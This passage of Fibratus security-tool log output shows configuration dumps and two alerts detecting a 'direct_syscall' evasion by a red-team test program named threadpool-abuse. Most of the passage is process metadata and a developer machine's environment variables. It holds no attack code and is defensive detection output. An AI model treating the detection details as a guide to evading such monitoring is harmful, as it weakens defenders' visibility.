from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info log-stdout=>true max-age=>0 max-size=>100 max-backups=>15] + output ......................... [ http=>[ method=>POST enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json timeout=>5s endpoints=>[] enabled=>false] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true] amqp=>[ durable=>false exchange-type=>topic vhost=>/ passive=>false delivery-mode=>transient routing-key=>fibratus exchange=>fibratus timeout=>5s url=>amqp://localhost:5672 tls-insecure-skip-verify=>false enabled=>false] elasticsearch=>[ template-name=>fibratus trace-log=>false timeout=>5s gzip-compression=>false flush-period=>1s healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] index-name=>fibratus enabled=>false sniff=>false healthcheck=>true bulk-workers=>1 healthcheck-timeout=>5s]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true scan-timeout=>10s skip-mmaps=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false skip-files=>false skip-registry=>false enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:35:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:35:34+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:35:41+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1951491 + Pid: 15756 + Tid: 19236 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:35:40.2770974 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 1b495e11a80, subprocess_tag➜ 0, task_id➜ 1b495e23aa8 + Metadata: evasions: [direct_syscall] + + Pid: 15756 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:36:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:36:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:36:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:37:38+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:37:38+01:00 level=info msg=bootstrapping with pid 15928. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:37:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ port=>25 enabled=>false content-type=>text/html to=>[] use-template=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-image=>true buffer-size=>512 enable-dns=>false enable-handle=>false max-buffers=>36 stack-enrichment=>true enable-registry=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-fileio=>true enable-mem=>false min-buffers=>16 enable-audit-api=>true enable-thread=>true flush-interval=>1s enable-threadpool=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-size=>100 max-age=>0 formatter=>text max-backups=>15] + output ......................... [ elasticsearch=>[ flush-period=>1s trace-log=>false bulk-workers=>1 gzip-compression=>false enabled=>false healthcheck-timeout=>5s timeout=>5s servers=>[http://127.0.0.1:9200] template-name=>fibratus sniff=>false healthcheck-interval=>10s healthcheck=>true index-name=>fibratus] amqp=>[ passive=>false exchange-type=>topic url=>amqp://localhost:5672 timeout=>5s durable=>false routing-key=>fibratus vhost=>/ delivery-mode=>transient exchange=>fibratus tls-insecure-skip-verify=>false enabled=>false] http=>[ serializer=>json enabled=>false enable-gzip=>false method=>POST endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ scan-timeout=>10s enabled=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false skip-registry=>false fastscan=>true excluded-procs=>[] skip-allocs=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:37:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:37:41+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:37:45+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1972307 + Pid: 22036 + Tid: 21448 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:37:44.8595034 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 190415d1a80, subprocess_tag➜ 0, task_id➜ 190415e3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 22036 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:39:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:39:52+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:39:52+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:40:22+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:40:22+01:00 level=info msg=bootstrapping with pid 21272. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:40:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] enabled=>false use-template=>true port=>25 content-type=>text/html] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-vamap=>true enable-threadpool=>true enable-image=>true min-buffers=>16 enable-handle=>false enable-thread=>true enable-mem=>false stack-enrichment=>true flush-interval=>1s buffer-size=>512 enable-dns=>false enable-fileio=>true max-buffers=>36 enable-audit-api=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ 